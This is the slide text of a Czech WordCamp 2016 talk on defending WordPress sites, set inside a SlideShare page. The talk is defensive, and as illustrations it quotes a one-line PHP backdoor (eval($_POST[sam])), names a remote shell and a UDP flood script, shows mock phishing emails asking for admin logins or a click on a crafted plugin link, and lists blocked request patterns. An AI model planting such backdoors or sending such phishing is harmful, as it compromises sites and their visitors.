WordCamp Bratislava 2017 - Martin HlaváčWordCamp Bratislava 2017 - Martin Hlaváč
WordCamp Bratislava 2017 - Martin HlaváčBrilo Team
 
WordPress ve světě hostingu, Václav Peter
WordPress ve světě hostingu, Václav PeterWordPress ve světě hostingu, Václav Peter
WordPress ve světě hostingu, Václav PeterLiberix, o.p.s.
 
Hon za fonty na webu
Hon za fonty na webuHon za fonty na webu
Hon za fonty na webujansladek
 
06 prez2(tvorba webu)
06 prez2(tvorba webu)06 prez2(tvorba webu)
06 prez2(tvorba webu)olc_user
 

Similar to WordCamp Praha 2016 - Bezpečnost WordPress (18)

Nette v cloudu - Poslední Sobota
Nette v cloudu - Poslední SobotaNette v cloudu - Poslední Sobota
Nette v cloudu - Poslední Sobota
 
Wordcamp Praha 2015 - další útržky z prezentace
Wordcamp Praha 2015 - další útržky z prezentaceWordcamp Praha 2015 - další útržky z prezentace
Wordcamp Praha 2015 - další útržky z prezentace
 
Generátory statických webů
Generátory statických webůGenerátory statických webů
Generátory statických webů
 
Pavel Ondřej: WordPress z pohledu hostingového poskytovatele
Pavel Ondřej: WordPress z pohledu hostingového poskytovatelePavel Ondřej: WordPress z pohledu hostingového poskytovatele
Pavel Ondřej: WordPress z pohledu hostingového poskytovatele
 
Jak zrychlit WP pomocí cachovacích pluginů
Jak zrychlit WP pomocí cachovacích pluginůJak zrychlit WP pomocí cachovacích pluginů
Jak zrychlit WP pomocí cachovacích pluginů
 
Tomáš Poner a Vladislav Musílek, Nejlepší affiliate pluginy pro WordPress
Tomáš Poner a Vladislav Musílek, Nejlepší affiliate pluginy pro WordPressTomáš Poner a Vladislav Musílek, Nejlepší affiliate pluginy pro WordPress
Tomáš Poner a Vladislav Musílek, Nejlepší affiliate pluginy pro WordPress
 
20110511 Vývoj software - produktivně, efektivně, kvalitně
20110511 Vývoj software - produktivně, efektivně, kvalitně20110511 Vývoj software - produktivně, efektivně, kvalitně
20110511 Vývoj software - produktivně, efektivně, kvalitně
 
Víceúrovňová obrana vysvětlená na Cross-Site Scriptingu
Víceúrovňová obrana vysvětlená na Cross-Site ScriptinguVíceúrovňová obrana vysvětlená na Cross-Site Scriptingu
Víceúrovňová obrana vysvětlená na Cross-Site Scriptingu
 
Bezpečnost e-shopů (HTTPS, XSS, CSP)
Bezpečnost e-shopů (HTTPS, XSS, CSP)Bezpečnost e-shopů (HTTPS, XSS, CSP)
Bezpečnost e-shopů (HTTPS, XSS, CSP)
 
HTTPS zdarma a pro všechny - LinuxDays 2015
HTTPS zdarma a pro všechny - LinuxDays 2015HTTPS zdarma a pro všechny - LinuxDays 2015
HTTPS zdarma a pro všechny - LinuxDays 2015
 
Vyhledávače a JavaScript
Vyhledávače a JavaScriptVyhledávače a JavaScript
Vyhledávače a JavaScript
 
WordCamp Prague 2014 - Website security cz
WordCamp Prague 2014 - Website security czWordCamp Prague 2014 - Website security cz
WordCamp Prague 2014 - Website security cz
 
Semantický web (Martin Šimko)
Semantický web (Martin Šimko)Semantický web (Martin Šimko)
Semantický web (Martin Šimko)
 
Zabezpečení Slevomatu
Zabezpečení SlevomatuZabezpečení Slevomatu
Zabezpečení Slevomatu
 
WordCamp Bratislava 2017 - Martin Hlaváč
WordCamp Bratislava 2017 - Martin HlaváčWordCamp Bratislava 2017 - Martin Hlaváč
WordCamp Bratislava 2017 - Martin Hlaváč
 
WordPress ve světě hostingu, Václav Peter
WordPress ve světě hostingu, Václav PeterWordPress ve světě hostingu, Václav Peter
WordPress ve světě hostingu, Václav Peter
 
Hon za fonty na webu
Hon za fonty na webuHon za fonty na webu
Hon za fonty na webu
 
06 prez2(tvorba webu)
06 prez2(tvorba webu)06 prez2(tvorba webu)
06 prez2(tvorba webu)
 

More from Vladimír Smitka

Co ukázal globální scan přístupných .git repozitářů?
Co ukázal globální scan přístupných .git repozitářů?Co ukázal globální scan přístupných .git repozitářů?
Co ukázal globální scan přístupných .git repozitářů?Vladimír Smitka
 
Drobné chyby, které vám mohou zlomit vaz
Drobné chyby, které vám mohou zlomit vazDrobné chyby, které vám mohou zlomit vaz
Drobné chyby, které vám mohou zlomit vazVladimír Smitka
 
Sítě pro malé a střední podniky 2014
Sítě pro malé a střední podniky 2014Sítě pro malé a střední podniky 2014
Sítě pro malé a střední podniky 2014Vladimír Smitka
 

More from Vladimír Smitka (6)

Co ukázal globální scan přístupných .git repozitářů?
Co ukázal globální scan přístupných .git repozitářů?Co ukázal globální scan přístupných .git repozitářů?
Co ukázal globální scan přístupných .git repozitářů?
 
Drobné chyby, které vám mohou zlomit vaz
Drobné chyby, které vám mohou zlomit vazDrobné chyby, které vám mohou zlomit vaz
Drobné chyby, které vám mohou zlomit vaz
 
Http/2 vs Image Sprites
Http/2 vs Image SpritesHttp/2 vs Image Sprites
Http/2 vs Image Sprites
 
Ansible
AnsibleAnsible
Ansible
 
Dijskrův algoritmus
Dijskrův algoritmusDijskrův algoritmus
Dijskrův algoritmus
 
Sítě pro malé a střední podniky 2014
Sítě pro malé a střední podniky 2014Sítě pro malé a střední podniky 2014
Sítě pro malé a střední podniky 2014
 

WordCamp Praha 2016 - Bezpečnost WordPress

  • 1. http://lynt.cz Bezpečnost WordPressu: bráníme se digitálním nájezdníkům Vláďa Smitka vladimir.smitka@lynt.cz @smitka Lynt services s.r.o. Aktualizujte! Zálohujte! Buďte opatrní!
  • 2. http://lynt.cz WP je děravý jako cedník 20. 2. 2016 2 Kdo tento názor už někdy slyšel? Pojďme si to uvést na pravou míru.
  • 3. http://lynt.cz20. 2. 2016 3 Aktualizovaný / Neaktualizovaný Tvůrci webů by měli více tlačit na zákazníky, aby si zaplatili podporu, a opravdu jí vykonávat. Zákazníci by toto měli být ochotní akceptovat, web je prakticky další zaměstnanec.
  • 4. http://lynt.cz Jaký je aktuální stav? • Velký průzkum 65 000 českých webů 04/2015 20. 2. 2016 4 https://lynt.cz/blog/wordpress-v-cz-velky-pruzkum
  • 6. http://lynt.cz Stav předevčírem 20. 2. 2016 6 3.7.13 247 3.8.13 1779 3.9.10 2229 4.0.10 2570 4.1.10 2946 4.2.7 4305 4.3.3 4695 4.4.2 15225
  • 7. http://lynt.cz Stav předevčírem 20. 2. 2016 7 25 % WP webů používá verzi řady 3.6 a nižší – pro ně již nevycházejí bezpečnostní updaty 18 % WP webu řady 3.7 a vyšší nemá aplikované poslední bezpečnostní updaty = Minimálně 40% českých WP webů obsahuje bezpečnostní chyby
  • 8. http://lynt.cz Co to v reálu znamená? • Příležitost pro WordCamp HACK kampaň! • Rozeslal jsem téměř 1000 hlášení o kritických zranitelnostech na webových stránkách nebo již napadených webech • Přes 300 zranitelných pluginů Slider Revolution! • Ohlas na podobné aktivity je ale poměrně malý… 20. 2. 2016 8
  • 9. http://lynt.cz Jak si aktualizace ohlídat? • Plugin WP Updates Notifier pošle mail, když je update k dispozici • Pro více webů existují systémy pro hromadnou správu: – InfiniteWP – ManageWP – WP Remote • Zapnout auto-update (ideálně mu-plugins): add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); 20. 2. 2016 9
  • 10. http://lynt.cz Infinite WP • Provoz na vlastním hostingu • Základní verze zdarma (plně funkční) • Stačí nainstalovat plugin InfiniteWP Client a zkopírovat údaje 20. 2. 2016 10
  • 11. http://lynt.cz Automatické testování funkčnosti • Pokud se bojíte, že se něco důležitého updatem rozbije, je možné napsat si automatizované testy • Casper.js • Selenuium • GhostPy • Online služby: http://www.testomato.com/,... 20. 2. 2016 11
  • 13. http://lynt.cz Co chtějí? • Jak to můžu vědět? • Analýza napadených systémů + Honey Poty • http://pot.lynt.cz – emulace staršího WP s některými bezpečnostními chybami, falešné SSH 20. 2. 2016 13
  • 14. http://lynt.cz Honey Pot • Jak dlouho trvalo po spuštění nového stroje než začaly první útoky? 20. 2. 2016 14 12 minut • Internet je nebezpečný – akceptujte to a buďte připraveni!
  • 15. http://lynt.cz Co tedy chtějí? • Vložit na web škodlivý kód, který návštěvníkům stahuje malware a zobrazuje reklamy • Rozesílat SPAM • Útočit na jiné servery • Získat citlivé informace • Odstavit web/server 20. 2. 2016 15
  • 16. http://lynt.cz Jaké zlé kódy útočníci nahrávají? 20. 2. 2016 16 První zmínka o skriptu Simple UDP flood z roku 2004: https://forums.cpanel.net/threads/scr ipt-in-tmp-made-by-hacker.33184/ Jednoduchý backdoor: eval($_POST[sam]); Remote shell – např. b374k Skripty pro další útoky: • Lámání hesel • Posílání SPAMu • Skript Simple UDP flood
  • 17. http://lynt.cz Jak to zkouší? • Přihlášení • Komentáře • Konkrétní chyby v pluginech, šablonách a jádře WP • Odposlech informací • Phishing • Útoky přes jiné weby na hostingu 20. 2. 2016 17 Připravená zdaní vrátka:
  • 18. http://lynt.cz Cross infection • Častý problém na multihostingu 20. 2. 2016 18 Složkasweby Web1 Web2 Web3
  • 19. http://lynt.cz Jak se přihlásit do WP? • /wp-admin + jméno a heslo • XML-RPC (/xmlrpc.php) • Cookie • REST-API (/wp-json) – již brzy 20. 2. 2016 19
  • 20. http://lynt.cz Získání přihlašovacích údajů • /?author=1 => /author/admin/ • Heslo admin, admin0, admin1,… Brute force Do .htaccess: RewriteCond %{QUERY_STRING} author= RewriteRule ^(.*)$ http://beznekam.ty? [L,R=301] 20. 2. 2016 20
  • 22. http://lynt.cz Nebo se zeptám Předmět: Bezpečnostní problém na webu wordcamp.cz Datum: Sat, 20 FEB 2016 09:51:48 +0200 Od: HOSTING <hosting@hosting.nejaky> Komu: <ty> Vážený zákazníku, Na Vaší webové prezentaci wordcamp.cz založené na redakčním systému WordPress byla zjištěna závažná bezpečnostní chyba v pluginu Skvělej Plugin, které umožňuje útočníkovi získat plnou kontrolu nad Vaším webem a následně útočit na další weby. Oficiální oprava zatím není k dispozici. Naši specialisté však mohou chybu opravit ručně. K tomu potřebujeme Vaše přihlašovací údaje do administrace WordPress. Zašlete nám je prosím obratem, ať můžeme zabránit dalším útokům. V opačném případě budeme bohužel nuceni Vaši webovou prezentaci pozastavit. Hosting Nějaký, s.r.o. 20. 2. 2016 22
  • 23. http://lynt.cz XML RPC • /xmlrpc.php • Protokol pro vzdálené ovládání webu z aplikací atd. – umožňuje například publikovat článek • Téměř se nepoužívá • Používají ho některé pluginy – JetPack • Pomocí funkce system.multicall šlo testovat stovky hesel jedním dotazem (říjen 2015) • Vhodné zakázat a případně povolit pouze z několika adres pro funkčnost pluginů 20. 2. 2016 23 Do .htaccess <Files "xmlrpc.php"> Order Allow,Deny deny from all </Files>
  • 25. http://lynt.cz Cookie wordpress_9338f7bf999516f89fdc070299cf0b82=admin %7C1456673124%7COB8LpfMl7ZqlMm1zuN23LMBGOna 0IdLmz4g7JQBwtYn%7Cb73f661495e9323a6df2dffe8001 5360b41ed8970a5cf05dd4053aecc4109a40 20. 2. 2016 25 • md5(URL) = http://pot.lynt.cz • Uživatelské jméno • Doba platnosti = 28.2.2016 15:25:24 (+14 dní) • Hash – AUTH_KEY + AUTH_SALT + 4 znaky z hash hesla • Token (od 4.0) hash 43 náhodných znaků
  • 26. http://lynt.cz Šifrovací klíče v wp-config.php define('AUTH_KEY', 'put your unique phrase here'); define('SECURE_AUTH_KEY', 'put your unique phrase here'); define('LOGGED_IN_KEY', 'put your unique phrase here'); define('NONCE_KEY', 'put your unique phrase here'); define('AUTH_SALT', 'put your unique phrase here'); define('SECURE_AUTH_SALT', 'put your unique phrase here'); define('LOGGED_IN_SALT', 'put your unique phrase here'); define('NONCE_SALT', 'put your unique phrase here'); Nové z adresy: https://api.wordpress.org/secret-key/1.1/salt/ Při zkoumání zranitelnosti ve Slider Revolution používalo 16 % zranitelných webů výchozí šifrovací klíče. Pokud instalujete pomocí přejmenování wp-config-sample.php, nezapomeňte klíče změnit! 20. 2. 2016 26
  • 27. http://lynt.cz WordPress 4.0+ 20. 2. 2016 27 Možnost odhlásit uživatele z ostatních zařízení – díky tokenu 36 % WP webů tuto verzi však nepoužívá Uživatelský profil:
  • 28. http://lynt.cz Odposlouchávání 20. 2. 2016 28 Na rozdíl od jména a hesla se cookie posílají neustále.
  • 29. http://lynt.cz Dopady vzrůstají s právy uživatele 20. 2. 2016 29 • Návštěvník (Subscriber) – Může pouze číst obsah, editovat svůj profil. Má jednodušší práci s komentáři. • Spolupracovník (Contributor) – Může psát nové příspěvky, ale publikovat je může až Admin nebo Šéfredaktor. Nemá přístup do galerie médií (může ale vkládat obrázky z externích zdrojů) – guest blogging. • Redaktor (Author) – Může spravovat své příspěvky včetně správy komentářů, nahrávat soubory do galerie médií. Nemůže pracovat se stránkami. • Šéfredaktor (Editor) – Může spravovat veškerý obsah – příspěvky, stránky, komentáře, kategorie, v jeho komentářích může být javascript. • Administrátor (Administrator) – Může spravovat vše – obsah, pluginy, šablony, widgety. Ideálně by neměl tvořit obsah. • SuperAdministrátor (pro WP multisite) – spravuje síť webů
  • 30. http://lynt.cz Úprava práv • Práva lze upravit - pokud někdo potřebuje například editovat menu, nemusí mít admin práva: • Plugin User Role Editor • Dopsat si vlastní: 20. 2. 2016 30 https://codex.wordpress.org/Roles_and_Capabilities $role_object = get_role( 'editor' ); $role_object->add_cap( 'edit_theme_options' );
  • 31. http://lynt.cz HTTPS • Certifikáty jsou dnes už levné: • < 200 Kč/rok – např. na ssls.cz • Zdarma – Let‘s Encrypt (nutná podpora na serveru) • Celý web na HTTPS (lepší řešení) • Jen administrace 20. 2. 2016 31 git clone https://github.com/letsencrypt/letsencrypt /opt/letsencrypt ./letsencrypt-auto --apache -d <muj-web> -d www. <muj-web> Obnovovací skript: http://do.co/le-renew (le-renew <muj-web>)
  • 32. http://lynt.cz Nasazujeme HTTPS pro celý web • Požádám hostera/správce o nastavení certifikátu • Vyzkouším, že to funguje • Nastavení - obecné 20. 2. 2016 32 Lze to také nastavit ve wp-config.php, ušetří se tím dotazy do DB: define('WP_HOME', 'https://<muj-web>'); define('WP_SITEURL', 'https://<muj-web>'); • Problém – mixed content – WP vytváří absolutní odkazy – je potřeba je opravit • SSL Insecure Content Fixer • Oprava v administraci • Oprava v databázi: UPDATE wp_posts SET post_content = REPLACE(post_content, 'http://<muj-web>', 'https://<muj-web>')
  • 33. http://lynt.cz Nasazujeme HTTPS jen pro administraci Do wp-config.php: define( 'FORCE_SSL_ADMIN', true ); Opět bude pravděpodobně problém s „mixed content“ v galerii médií: SSL Insecure Content Fixer + nastavení Simple 20. 2. 2016 33
  • 34. http://lynt.cz20. 2. 2016 34 Opraví styly, JS a obrázky v galerii médií Opraví URL i v obsahu webu Nastavení - SSL Insecure Content
  • 35. http://lynt.cz Přesměrování z HTTP na HTTPS V .htaccess: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{SERVER_PORT} !^443$ RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R,L] RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> 20. 2. 2016 35 * Může se lišit v závislosti na hostingu
  • 36. http://lynt.cz Další šifrované protokoly • SFTP/SCP/FTPs místo FTP • SSH místo Telnet • IMAPs (POP3s) místo IMAP (POP3) • SMTP TLS/SMTP STARTTLS místo SMTP • VPN 20. 2. 2016 36
  • 37. http://lynt.cz Jak probíhá útok? • Veřejně známé informace (majitelé domény, emailové adresy, ip, jména zaměstnanců… recon- ng) • Aktivní scan, identifikace - WP-scan • Agresivní scan – např. DirBuster (zkouší, zda existují určité složky např. /phpmyadmin/) • Testy zranitelností, generuje podivné dotazy • Často lze odhalit díky velkému množství chyb 404 20. 2. 2016 37
  • 40. http://lynt.cz XSS – velmi nebezpečné 20. 2. 2016 40 Překryv reagující na pohyb myši onMouseMove
  • 42. http://lynt.cz Požádáme administrátora o pomoc Předmět: Bezpečnostní problém na webu wordcamp.cz Datum: Sat, 20 FEB 2016 09:42:48 +0200 Od: HOSTING <hosting@hosting.nejaky> Komu: <ty> Vážený zákazníku, Na Vaší webové prezentaci wordcamp.cz založené na redakčním systému WordPress byla zjištěna závažná bezpečnostní chyba v pluginu Skvělej Plugin, které umožňuje útočníkovi získat plnou kontrolu nad Vaším webem a následně útočit na další weby. Dokud nebude oprava k dispozici, je potřeba vypnout funkci Oškliváctví – to můžete udělat snadno pomocí následujícího odkazu: http://<vas-web>/wp-content/plugins/skvelej-plugin/abc.php?xy=dG9obGUgamUgemx5IGtvZCA6LSk Pokud funkci nevypnete, nebo plugin neodstraníte, budeme bohužel nuceni Vaši webovou prezentaci pozastavit. Hosting Nějaký, s.r.o. 20. 2. 2016 42
  • 43. http://lynt.cz Cross-site request forgery • Nastává, když systém neověřuje, odkud opravdu přišel požadavek 20. 2. 2016 43 Admine, podívej se na tuhle super stránku! Super stránka Lorem ipsum /založ uživatele • Obranou jsou podepsané formuláře (server do nich vkládá token, který si po odeslání ověří) • Ve WP tzv. „nonce“ (ne všechny pluginy je využívají…) /wp-admin/post.php?post=1&action=trash&_wpnonce=b192fc4204
  • 44. http://lynt.cz SQL Injection • Opět neošetřené uživatelské vstupy • Lze modifikovat databázové dotazy a díky tomu získat i obsah celé databáze • Zajímavé info v DB: – E-maily – Uživatelská jména, zahashovaná hesla – Token k autentifikačnímu cookie – Přístupové údaje k dalším službám 20. 2. 2016 44
  • 45. http://lynt.cz Bezpečnostní pluginy • Má oblíbená kombinace: • WordFence + BBQ: Bad Block Queries • Blokace chybných přihlášení • Omezení skenování • Detekce změn v souborech • Zákaz získávání uživatelských jmen • Zákaz PHP v uploads • Omezení SPAMu • Přístup ke globálního seznamu právě útočících • Filtr podezřelých dotazů 20. 2. 2016 45
  • 47. http://lynt.cz WordFence – po instalaci 20. 2. 2016 47 Level 2: začne posílat více upozornění, snižují se limity chybných přihlášení Level 3: se začínají uplatňovat omezování provozu Level 4: okamžitě blokuje neplatná jména
  • 48. http://lynt.cz WordFence – Live Traffic 20. 2. 2016 48
  • 49. http://lynt.cz WordFence – detekce změn 20. 2. 2016 49
  • 51. http://lynt.cz WordFence – bezpečnost přihlášení 20. 2. 2016 51
  • 52. http://lynt.cz WordFence – další nastavení 20. 2. 2016 52
  • 53. http://lynt.cz WordFence – další nastavení 20. 2. 2016 53 Skvělý plugin, chybí však blokování podezřelých řetězců v URL
  • 54. http://lynt.cz20. 2. 2016 54 Jednoduchý plugin bez konfigurace – automaticky blokuje podezřelé HTTP požadavky Např.: eval(, base64_, UNION * SELECT, wp-config.php, < …
  • 55. http://lynt.cz Co dělat při infekci • Odstavení webu (např. zákaz v .htaccess) • Smazání a obnova ze zálohy/desinfekce (FAR) • Odstranění příčiny (často aktualizace) • Změna hesla na FTP • Změna hesla do DB • Změna hesel uživatelů + kontrola neznámých • Nové šifrovací klíče do wp-config.php: https://api.wordpress.org/secret-key/1.1/salt/ • Kontrola souborů pluginem (Wordfence, Sucuri Scanner) 20. 2. 2016 55
  • 56. http://lynt.cz Inspirace - jak chráníme naše weby? • wp-login.php pouze z ČR (GeoIP modul) • Blokovaný xmlrpc.php a další soubory + zákaz PHP v uploadech • Blokace komentářového SPAMu (NoSpamNX) a Ping/Track Backů (Topsy Blocker) • Hromadná správa aktualizací • Izolace jednotlivých webů • HTTP hlavičky: – X-Frame-Options SAMEORIGIN; – X-XSS-Protection "1; mode=block" – X-Content-Type-Options nosniff • Odstranění nepoužívaných pluginů a šablon 20. 2. 2016 56
  • 57. http://lynt.cz Inspirace - jak chráníme naše weby? • Fail2Ban (chybná přihlášení, příliš 404, https://wordpress.org/plugins/wp-fail2ban/) • Filtrování podezřelých řetězců (na straně serveru) • Analýza logů (Log Stash) a chyb (Sentry) a monitoring serverů (Zabbix) • Sledování změn v souborech + analýza malware – Maldet + Yara • Denní záloha na straně serveru (lze řešit i pluginy pro WP: BackWPup, UpdraftPlus, BackupBuddy) • Sledování informací o nových hrozbách 20. 2. 2016 57
  • 58. http://lynt.cz Další zdroje • Info o zranitelnostech • https://www.owasp.org/ • https://wpvulndb.com/ • https://blog.sucuri.net/ • https://www.wordfence.com/blog/ • https://packetstormsecurity.com/ • https://www.reddit.com/r/xss • Loňská přednáška: • http://www.slideshare.net/vsmitka/bezpenost-wp-tipy-pro- kadho-wordcamp-praha-2015 20. 2. 2016 58
  • 59. http://lynt.cz Domácí úkol na zítra □ Zkontrolovat, zda mám vygenerované unikátní šifrovací klíče ve wp-config.php □ Zazálohovat □ Smazat pluginy, co nepoužívám/byly jen k jednorázové činnosti □ Smazat zbytečné šablony (nechat jen jednu výchozí z instalace a případně rodičovskou) □ Snížit oprávnění uživatelům, kteří jej nepotřebují □ Aktualizovat, co je možné 20. 2. 2016 59
  • 60. http://lynt.cz A to je vše, přátelé. 20. 2. 2016 60 aktualizujte, zálohujte, používejte bezpečnostní plugin, buďte opatrní